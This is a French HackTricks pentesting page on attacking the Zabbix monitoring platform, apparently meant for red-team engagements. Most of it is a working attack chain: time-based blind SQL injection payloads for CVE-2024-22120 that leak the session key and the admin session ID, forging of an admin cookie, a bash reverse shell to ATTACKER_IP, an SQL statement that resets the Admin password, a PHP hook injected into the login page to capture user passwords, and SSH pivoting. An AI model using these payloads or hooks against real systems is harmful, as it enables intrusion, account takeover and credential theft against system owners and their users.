Sécurité Zabbix

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Présentation

Zabbix est une plateforme de monitoring exposant une interface web (gĂ©nĂ©ralement derriĂšre Apache/Nginx) et un composant serveur qui parle aussi le protocole Zabbix sur TCP/10051 (server/trapper) et un agent sur TCP/10050. Lors d’engagements vous pouvez rencontrer :

  • Interface web : hĂŽte virtuel HTTP(S) comme zabbix.example.tld
  • Zabbix server port : 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port : 10050/tcp

Format de cookie utile : zbx_session est un Base64 d’un objet JSON compact qui inclut au moins sessionid, serverCheckResult, serverCheckTime et sign. Le sign est un HMAC du payload JSON.

Les versions récentes de Zabbix calculent le cookie comme :

  • data JSON: {“sessionid”:“<32-hex>”,“serverCheckResult”:true,“serverCheckTime”:<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

Si vous pouvez rĂ©cupĂ©rer le session_key global et un sessionid admin valide, vous pouvez forger un cookie Admin valide hors ligne et vous authentifier Ă  l’UI.

CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log

Affected versions (as publicly documented):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Résumé de la vulnérabilité :

  • Lorsqu’une exĂ©cution de Script est enregistrĂ©e dans le audit log du Zabbix Server, le champ clientip n’est pas assaini et est concatĂ©nĂ© dans du SQL, permettant une time-based blind SQLi via le composant serveur.
  • Ceci est exploitable en envoyant une requĂȘte “command” spĂ©cialement conçue au port Zabbix server 10051 avec un sessionid valide Ă  faible privilĂšge, un hostid accessible par l’utilisateur, et un scriptid autorisĂ©.

Conditions préalables et conseils de découverte :

  • sessionid : Depuis guest/login dans l’interface web, dĂ©codez zbx_session (Base64) pour obtenir sessionid.
  • hostid : Observez via des requĂȘtes de l’interface web (par ex. Monitoring → Hosts) ou interceptez avec un proxy ; la valeur par dĂ©faut courante est 10084.
  • scriptid : Seuls les scripts autorisĂ©s pour le rĂŽle courant s’exĂ©cuteront ; vĂ©rifiez en inspectant le menu des scripts / les rĂ©ponses AJAX. Des valeurs par dĂ©faut comme 1 ou 2 sont souvent autorisĂ©es ; 3 peut ĂȘtre refusĂ©.

Flux d’exploitation

  1. DĂ©clencher l’insertion dans l’audit avec SQLi dans clientip
  • Connectez-vous Ă  TCP/10051 et envoyez un message encadrĂ© Zabbix avec request=“command” incluant sid, hostid, scriptid, et clientip dĂ©fini sur une expression SQL qui sera concatĂ©nĂ©e par le serveur et Ă©valuĂ©e.

Minimal message (JSON body) fields:

{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

Le format complet sur le rĂ©seau est : “ZBXD\x01” + 8-byte little-endian length + UTF-8 JSON. Vous pouvez utiliser pwntools ou votre propre code socket pour l’encapsuler.

  1. Time-bruteforce secrets via conditional sleep

Utilisez des expressions conditionnelles pour leak des secrets encodés en hex, 1 caractÚre à la fois, en mesurant le temps de réponse. Exemples qui ont fonctionné en pratique :

  • Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) depuis sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Notes:

  • charset: 32 hex chars [0-9a-f]
  • Choisir T_TRUE >> T_FALSE (par ex., 10 vs 1) et mesurer le temps rĂ©el (wall-clock) par tentative
  • Assurez-vous que votre scriptid est rĂ©ellement autorisĂ© pour l’utilisateur ; sinon aucune ligne d’audit n’est produite et le timing ne fonctionnera pas
  1. Forger le cookie Admin

Once you have:

  • session_key: 32-hex from config.session_key
  • admin_sessionid: 32-hex from sessions.sessionid for userid=1

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

Outils prĂȘts Ă  l’emploi

  • PoC public : automatise le bruteforce de session_key et admin sessionid, ainsi que le cookie forging ; nĂ©cessite pwntools et requests.
  • Les paramĂštres Ă  fournir incluent gĂ©nĂ©ralement : –ip (FQDN of UI), –port 10051, –sid (low-priv), –hostid, et optionnellement un –admin-sid connu pour Ă©viter le brute.

RCE via Script execution (post-Admin)

Avec un accĂšs Admin dans l’UI, vous pouvez exĂ©cuter des Scripts prĂ©dĂ©finis contre des hosts monitorĂ©s. Si les agents/hosts exĂ©cutent les commandes de script localement, cela permet une exĂ©cution de code sur ces systĂšmes (souvent en tant qu’utilisateur zabbix sur des hĂŽtes Linux) :

  • VĂ©rification rapide : run id pour confirmer le contexte utilisateur
  • Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

Amélioration du TTY (Linux) :

script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Si vous avez accĂšs Ă  la DB, une alternative Ă  la falsification d’un cookie est de rĂ©initialiser le mot de passe Admin avec le bcrypt documentĂ© pour “zabbix” :

UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Credential capture via login hook (post-exploitation)

Si l’écriture de fichiers est possible sur le serveur de l’interface web, vous pouvez temporairement ajouter un extrait de journalisation dans /usr/share/zabbix/index.php autour de la branche de connexion basĂ©e sur un formulaire afin de capturer les identifiants :

// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Les utilisateurs s’authentifient normalement ; lisez /dev/shm/creds.txt ensuite. Supprimez le hook une fois terminĂ©.

Pivot vers les services internes

MĂȘme si le shell du compte de service est /usr/sbin/nologin, ajouter une entrĂ©e SSH authorized_keys et utiliser -N -L permet le local port-forwarding vers des services accessibles uniquement via loopback (par ex., CI/CD sur le port 8111) :

ssh -i key user@host -N -L 8111:127.0.0.1:8111

Voir plus de schémas de tunneling : Consulter Tunneling and Port Forwarding.

Conseils opérationnels

  • Valider que scriptid est autorisĂ© pour le rĂŽle actuel (guest peut avoir un jeu limitĂ©)
  • Les attaques par timing peuvent ĂȘtre lentes ; mettre en cache la sessionid admin rĂ©cupĂ©rĂ©e et la rĂ©utiliser
  • Le JSON envoyĂ© Ă  10051 doit ĂȘtre encadrĂ© avec l’en-tĂȘte ZBXD\x01 et une longueur en little-endian

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks